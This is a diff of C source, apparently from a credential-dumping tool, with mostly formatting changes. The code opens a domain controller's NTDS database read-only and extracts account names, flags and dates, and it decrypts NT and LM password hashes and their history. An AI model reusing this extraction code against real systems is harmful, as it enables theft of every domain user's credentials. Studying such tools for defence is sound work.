@ -186,13 +194,14 @@ JET_ERR next_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance. * @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
* @returns Indication of sucess or failure. * @returns Indication of sucess or failure.
*/ */
JET_ERR open_database(struct jetState *ntdsState){ JET_ERR open_database(struct jetState *ntdsState)
{
JET_ERR attachStatus = JetAttachDatabase(ntdsState->jetSession, ntdsState->ntdsPath, JET_bitDbReadOnly); JET_ERR attachStatus = JetAttachDatabase(ntdsState->jetSession, ntdsState->ntdsPath, JET_bitDbReadOnly);
if (attachStatus != JET_errSuccess){ if (attachStatus != JET_errSuccess) {
return attachStatus; return attachStatus;
} }
JET_ERR openStatus = JetOpenDatabase(ntdsState->jetSession, ntdsState->ntdsPath, NULL, &ntdsState->jetDatabase, JET_bitDbReadOnly); JET_ERR openStatus = JetOpenDatabase(ntdsState->jetSession, ntdsState->ntdsPath, NULL, &ntdsState->jetDatabase, JET_bitDbReadOnly);
if (openStatus != JET_errSuccess){ if (openStatus != JET_errSuccess) {
return openStatus; return openStatus;
} }
return JET_errSuccess; return JET_errSuccess;
@ -206,13 +215,15 @@ JET_ERR open_database(struct jetState *ntdsState){
* @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data * @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data
* @returns Indication of sucess or failure. * @returns Indication of sucess or failure.
*/ */
JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount){ JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns,
struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount)
{
JET_ERR readStatus = JET_errSuccess; JET_ERR readStatus = JET_errSuccess;
DWORD accountControl = 0; DWORD accountControl = 0;
unsigned long columnSize = 0; unsigned long columnSize = 0;
// Grab the SID here // Grab the SID here
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountSID.columnid, &userAccount->accountSID, sizeof(userAccount->accountSID), &columnSize, 0, NULL); readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountSID.columnid, &userAccount->accountSID, sizeof(userAccount->accountSID), &columnSize, 0, NULL);
if (readStatus != JET_errSuccess){ if (readStatus != JET_errSuccess) {
return readStatus; return readStatus;
} }
// Derive the RID from the SID // Derive the RID from the SID
@ -222,23 +233,23 @@ JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns
// Grab the samAccountName here // Grab the samAccountName here
wchar_t accountName[20] = { 0x00 }; wchar_t accountName[20] = { 0x00 };
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountName.columnid, &accountName, sizeof(accountName), &columnSize, 0, NULL); readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountName.columnid, &accountName, sizeof(accountName), &columnSize, 0, NULL);
if (readStatus != JET_errSuccess){ if (readStatus != JET_errSuccess) {
return readStatus; return readStatus;
} }
strncpy(userAccount->accountName, wchar_to_utf8(accountName), sizeof(userAccount->accountName)); strncpy(userAccount->accountName, wchar_to_utf8(accountName), sizeof(userAccount->accountName));
// Grab the Account Description here // Grab the Account Description here
wchar_t accountDescription[1024] = { 0x00 }; wchar_t accountDescription[1024] = { 0x00 };
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountDescription.columnid, &accountDescription, sizeof(accountDescription), &columnSize, 0, NULL); readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountDescription.columnid, &accountDescription, sizeof(accountDescription), &columnSize, 0, NULL);
if (readStatus == JET_wrnColumnNull){ if (readStatus == JET_wrnColumnNull) {
memset(userAccount->accountDescription, 0, sizeof(userAccount->accountDescription)); memset(userAccount->accountDescription, 0, sizeof(userAccount->accountDescription));
} }
else if (readStatus != JET_errSuccess){ else if (readStatus != JET_errSuccess) {
return readStatus; return readStatus;
} }
strncpy(userAccount->accountDescription, wchar_to_utf8(accountDescription), sizeof(userAccount->accountDescription)); strncpy(userAccount->accountDescription, wchar_to_utf8(accountDescription), sizeof(userAccount->accountDescription));
// Grab the UserAccountControl flags here // Grab the UserAccountControl flags here
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountControl.columnid, &accountControl, sizeof(accountControl), &columnSize, 0, NULL); readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountControl.columnid, &accountControl, sizeof(accountControl), &columnSize, 0, NULL);
if (readStatus != JET_errSuccess){ if (readStatus != JET_errSuccess) {
return readStatus; return readStatus;
} }
userAccount->accountDisabled = !!(accountControl & NTDS_ACCOUNT_DISABLED); userAccount->accountDisabled = !!(accountControl & NTDS_ACCOUNT_DISABLED);
@ -248,27 +259,27 @@ JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns
userAccount->passNoExpire = !!(accountControl & NTDS_ACCOUNT_PASS_NO_EXPIRE); userAccount->passNoExpire = !!(accountControl & NTDS_ACCOUNT_PASS_NO_EXPIRE);
// Grab the Logon Count here // Grab the Logon Count here
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->logonCount.columnid, &userAccount->logonCount, sizeof(userAccount->logonCount), &columnSize, 0, NULL); readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->logonCount.columnid, &userAccount->logonCount, sizeof(userAccount->logonCount), &columnSize, 0, NULL);
if (readStatus != JET_errSuccess){ if (readStatus != JET_errSuccess) {
return readStatus; return readStatus;
} }
// Grab the various Dates and Times // Grab the various Dates and Times
readStatus = read_user_dates(ntdsState, accountColumns, pekDecrypted, userAccount); readStatus = read_user_dates(ntdsState, accountColumns, pekDecrypted, userAccount);
if (readStatus != JET_errSuccess){ if (readStatus != JET_errSuccess) {
return readStatus; return readStatus;
} }
// Grab the NT Hash // Grab the NT Hash
readStatus = read_user_nt_hash(ntdsState, accountColumns, pekDecrypted, userAccount); readStatus = read_user_nt_hash(ntdsState, accountColumns, pekDecrypted, userAccount);
if (readStatus != JET_errSuccess && readStatus != JET_wrnColumnNull){ if (readStatus != JET_errSuccess && readStatus != JET_wrnColumnNull) {
return readStatus; return readStatus;
} }
// Grab the LM Hash // Grab the LM Hash
readStatus = read_user_lm_hash(ntdsState, accountColumns, pekDecrypted, userAccount); readStatus = read_user_lm_hash(ntdsState, accountColumns, pekDecrypted, userAccount);
if (readStatus != JET_errSuccess && readStatus != JET_wrnColumnNull){ if (readStatus != JET_errSuccess && readStatus != JET_wrnColumnNull) {
return readStatus; return readStatus;
} }
// Grab the Hash History // Grab the Hash History
readStatus = read_user_hash_history(ntdsState, accountColumns, pekDecrypted, userAccount); readStatus = read_user_hash_history(ntdsState, accountColumns, pekDecrypted, userAccount);
if (readStatus != JET_errSuccess && readStatus != JET_wrnColumnNull){ if (readStatus != JET_errSuccess && readStatus != JET_wrnColumnNull) {
return readStatus; return readStatus;
} }
return JET_errSuccess; return JET_errSuccess;
@ -283,7 +294,9 @@ JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns
* @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data * @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data
* @returns Indication of sucess or failure. * @returns Indication of sucess or failure.
*/ */
JET_ERR read_user_dates(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount){ JET_ERR read_user_dates(struct jetState *ntdsState, struct ntdsColumns *accountColumns,
struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount)
{
JET_ERR readStatus = JET_errSuccess; JET_ERR readStatus = JET_errSuccess;
unsigned long columnSize = 0; unsigned long columnSize = 0;
FILETIME accountExpiry; FILETIME accountExpiry;
@ -294,46 +307,46 @@ JET_ERR read_user_dates(struct jetState *ntdsState, struct ntdsColumns *accountC
SYSTEMTIME lastPass2; SYSTEMTIME lastPass2;
// Grab the account expiration date/time here // Grab the account expiration date/time here
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountExpiry.columnid, &accountExpiry, sizeof(accountExpiry), &columnSize, 0, NULL); readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountExpiry.columnid, &accountExpiry, sizeof(accountExpiry), &columnSize, 0, NULL);
if (readStatus != JET_errSuccess){ if (readStatus != JET_errSuccess) {
return readStatus; return readStatus;
} }
//Convert the FILETIME to a SYSTEMTIME so we can get a human readable date //Convert the FILETIME to a SYSTEMTIME so we can get a human readable date
FileTimeToSystemTime(&accountExpiry, &accountExpiry2); FileTimeToSystemTime(&accountExpiry, &accountExpiry2);
int dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &accountExpiry2, NULL, userAccount->expiryDate, 30); int dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &accountExpiry2, NULL, userAccount->expiryDate, 30);
// Getting Human Readable will fail if account never expires. Just set the expiryDate string to 'never' // Getting Human Readable will fail if account never expires. Just set the expiryDate string to 'never'
if (dateResult == 0){ if (dateResult == 0) {
strncpy(userAccount->expiryDate, "Never", 6); strncpy(userAccount->expiryDate, "Never", 6);
} }
// Grab the last logon date and time // Grab the last logon date and time
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lastLogon.columnid, &lastLogon, sizeof(lastLogon), &columnSize, 0, NULL); readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lastLogon.columnid, &lastLogon, sizeof(lastLogon), &columnSize, 0, NULL);
if (readStatus != JET_errSuccess){ if (readStatus != JET_errSuccess) {
return readStatus; return readStatus;
} }
//Convert the FILETIME to a SYSTEMTIME so we can get a human readable date //Convert the FILETIME to a SYSTEMTIME so we can get a human readable date
FileTimeToSystemTime(&lastLogon, &lastLogon2); FileTimeToSystemTime(&lastLogon, &lastLogon2);
dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &lastLogon2, NULL, userAccount->logonDate, 30); dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &lastLogon2, NULL, userAccount->logonDate, 30);
// Getting Human Readable will fail if account has never logged in, much like the expiry date // Getting Human Readable will fail if account has never logged in, much like the expiry date
if (dateResult == 0){ if (dateResult == 0) {
strncpy(userAccount->logonDate, "Never", 6); strncpy(userAccount->logonDate, "Never", 6);
} }
dateResult = GetTimeFormat(LOCALE_SYSTEM_DEFAULT, 0, &lastLogon2, NULL, userAccount->logonTime, 30); dateResult = GetTimeFormat(LOCALE_SYSTEM_DEFAULT, 0, &lastLogon2, NULL, userAccount->logonTime, 30);
if (dateResult == 0){ if (dateResult == 0) {
strncpy(userAccount->logonTime, "Never", 6); strncpy(userAccount->logonTime, "Never", 6);
} }
// Grab the last password change date and time // Grab the last password change date and time
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lastPasswordChange.columnid, &lastPass, sizeof(lastPass), &columnSize, 0, NULL); readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lastPasswordChange.columnid, &lastPass, sizeof(lastPass), &columnSize, 0, NULL);
if (readStatus != JET_errSuccess){ if (readStatus != JET_errSuccess) {
return readStatus; return readStatus;
} }
//Convert the FILETIME to a SYSTEMTIME so we can get a human readable date //Convert the FILETIME to a SYSTEMTIME so we can get a human readable date
FileTimeToSystemTime(&lastPass, &lastPass2); FileTimeToSystemTime(&lastPass, &lastPass2);
dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &lastPass2, NULL, userAccount->passChangeDate, 30); dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &lastPass2, NULL, userAccount->passChangeDate, 30);
// Getting Human Readable will fail if account has never logged in, much like the expiry date // Getting Human Readable will fail if account has never logged in, much like the expiry date
if (dateResult == 0){ if (dateResult == 0) {
strncpy(userAccount->passChangeDate, "Never", 6); strncpy(userAccount->passChangeDate, "Never", 6);
} }
dateResult = GetTimeFormat(LOCALE_SYSTEM_DEFAULT, 0, &lastPass2, NULL, userAccount->passChangeTime, 30); dateResult = GetTimeFormat(LOCALE_SYSTEM_DEFAULT, 0, &lastPass2, NULL, userAccount->passChangeTime, 30);
if (dateResult == 0){ if (dateResult == 0) {
strncpy(userAccount->passChangeTime, "Never", 6); strncpy(userAccount->passChangeTime, "Never", 6);
} }
return JET_errSuccess; return JET_errSuccess;
@ -348,11 +361,13 @@ JET_ERR read_user_dates(struct jetState *ntdsState, struct ntdsColumns *accountC
* @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data * @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data
* @returns Indication of sucess or failure. * @returns Indication of sucess or failure.
*/ */
JET_ERR read_user_hash_history(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount){ JET_ERR read_user_hash_history(struct jetState *ntdsState, struct ntdsColumns *accountColumns,
struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount)
{
JET_ERR readStatus = JET_errSuccess; JET_ERR readStatus = JET_errSuccess;
unsigned long columnSize = 0; unsigned long columnSize = 0;
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHistory.columnid, NULL, 0, &columnSize, 0, NULL); readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHistory.columnid, NULL, 0, &columnSize, 0, NULL);
if (readStatus == JET_wrnBufferTruncated){ if (readStatus == JET_wrnBufferTruncated) {
LPBYTE encNTHist = (LPBYTE)calloc(1, columnSize); LPBYTE encNTHist = (LPBYTE)calloc(1, columnSize);
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHistory.columnid, encNTHist, columnSize, &columnSize, 0, NULL); readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHistory.columnid, encNTHist, columnSize, &columnSize, 0, NULL);
decrypt_hash_history(encNTHist, columnSize, pekDecrypted, userAccount->accountRID, userAccount->ntHistory, &userAccount->numNTHistory); decrypt_hash_history(encNTHist, columnSize, pekDecrypted, userAccount->accountRID, userAccount->ntHistory, &userAccount->numNTHistory);
@ -360,17 +375,17 @@ JET_ERR read_user_hash_history(struct jetState *ntdsState, struct ntdsColumns *a
// If there's no NT history, there's no LM history // If there's no NT history, there's no LM history
// Grab the LM History // Grab the LM History
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHistory.columnid, NULL, 0, &columnSize, 0, NULL); readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHistory.columnid, NULL, 0, &columnSize, 0, NULL);
if (readStatus == JET_wrnBufferTruncated){ if (readStatus == JET_wrnBufferTruncated) {
LPBYTE encLMHist = (LPBYTE)calloc(1, columnSize); LPBYTE encLMHist = (LPBYTE)calloc(1, columnSize);
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHistory.columnid, encLMHist, columnSize, &columnSize, 0, NULL); readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHistory.columnid, encLMHist, columnSize, &columnSize, 0, NULL);
decrypt_hash_history(encLMHist, columnSize, pekDecrypted, userAccount->accountRID, userAccount->lmHistory, &userAccount->numLMHistory); decrypt_hash_history(encLMHist, columnSize, pekDecrypted, userAccount->accountRID, userAccount->lmHistory, &userAccount->numLMHistory);
free(encLMHist); free(encLMHist);
} }
else{ else {
return readStatus; return readStatus;
} }
} }
else{ else {
return readStatus; return readStatus;
} }
return JET_errSuccess; return JET_errSuccess;
@ -384,21 +399,23 @@ JET_ERR read_user_hash_history(struct jetState *ntdsState, struct ntdsColumns *a
* @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data * @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data
* @returns Indication of sucess or failure. * @returns Indication of sucess or failure.
*/ */
JET_ERR read_user_lm_hash(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount){ JET_ERR read_user_lm_hash(struct jetState *ntdsState, struct ntdsColumns *accountColumns,
struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount)
{
JET_ERR readStatus = JET_errSuccess; JET_ERR readStatus = JET_errSuccess;
unsigned long columnSize = 0; unsigned long columnSize = 0;
struct encryptedHash *encryptedLM = calloc(1, sizeof(struct encryptedHash)); struct encryptedHash *encryptedLM = calloc(1, sizeof(struct encryptedHash));
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHash.columnid, encryptedLM, sizeof(struct encryptedHash), &columnSize, 0, NULL); readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHash.columnid, encryptedLM, sizeof(struct encryptedHash), &columnSize, 0, NULL);
if (readStatus != JET_errSuccess){ if (readStatus != JET_errSuccess) {
if (readStatus == JET_wrnColumnNull){ if (readStatus == JET_wrnColumnNull) {
memcpy(userAccount->lmHash, BLANK_LM_HASH, 32); memcpy(userAccount->lmHash, BLANK_LM_HASH, 32);
} }
else{ else {
free(encryptedLM); free(encryptedLM);
return readStatus; return readStatus;
} }
} }
else{ else {
decrypt_hash(encryptedLM, pekDecrypted, userAccount->lmHash, userAccount->accountRID); decrypt_hash(encryptedLM, pekDecrypted, userAccount->lmHash, userAccount->accountRID);
} }
free(encryptedLM); free(encryptedLM);
@ -413,23 +430,27 @@ JET_ERR read_user_lm_hash(struct jetState *ntdsState, struct ntdsColumns *accoun
* @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data * @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data
* @returns Indication of sucess or failure. * @returns Indication of sucess or failure.
*/ */
JET_ERR read_user_nt_hash(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount){ JET_ERR read_user_nt_hash(struct jetState *ntdsState, struct ntdsColumns *accountColumns,
struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount)
{
JET_ERR readStatus = JET_errSuccess; JET_ERR readStatus = JET_errSuccess;
unsigned long columnSize = 0; unsigned long columnSize = 0;
struct encryptedHash *encryptedNT = calloc(1, sizeof(struct encryptedHash)); struct encryptedHash *encryptedNT = calloc(1, sizeof(struct encryptedHash));
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHash.columnid, encryptedNT, sizeof(struct encryptedHash), &columnSize, 0, NULL); readStatus = JetRetrieveColumn(ntdsState->jetSession,
if (readStatus != JET_errSuccess){ ntdsState->jetTable, accountColumns->ntHash.columnid, encryptedNT,
if (readStatus == JET_wrnColumnNull){ sizeof(struct encryptedHash), &columnSize, 0, NULL);
if (readStatus != JET_errSuccess) {
if (readStatus == JET_wrnColumnNull) {
memcpy(userAccount->ntHash, BLANK_NT_HASH, 32); memcpy(userAccount->ntHash, BLANK_NT_HASH, 32);
} }
else{ else {
free(encryptedNT); free(encryptedNT);
return readStatus; return readStatus;
} }
} }
else{ else {
decrypt_hash(encryptedNT, pekDecrypted, userAccount->ntHash, userAccount->accountRID); decrypt_hash(encryptedNT, pekDecrypted, userAccount->ntHash, userAccount->accountRID);
} }
free(encryptedNT); free(encryptedNT);
return JET_errSuccess; return JET_errSuccess;
} }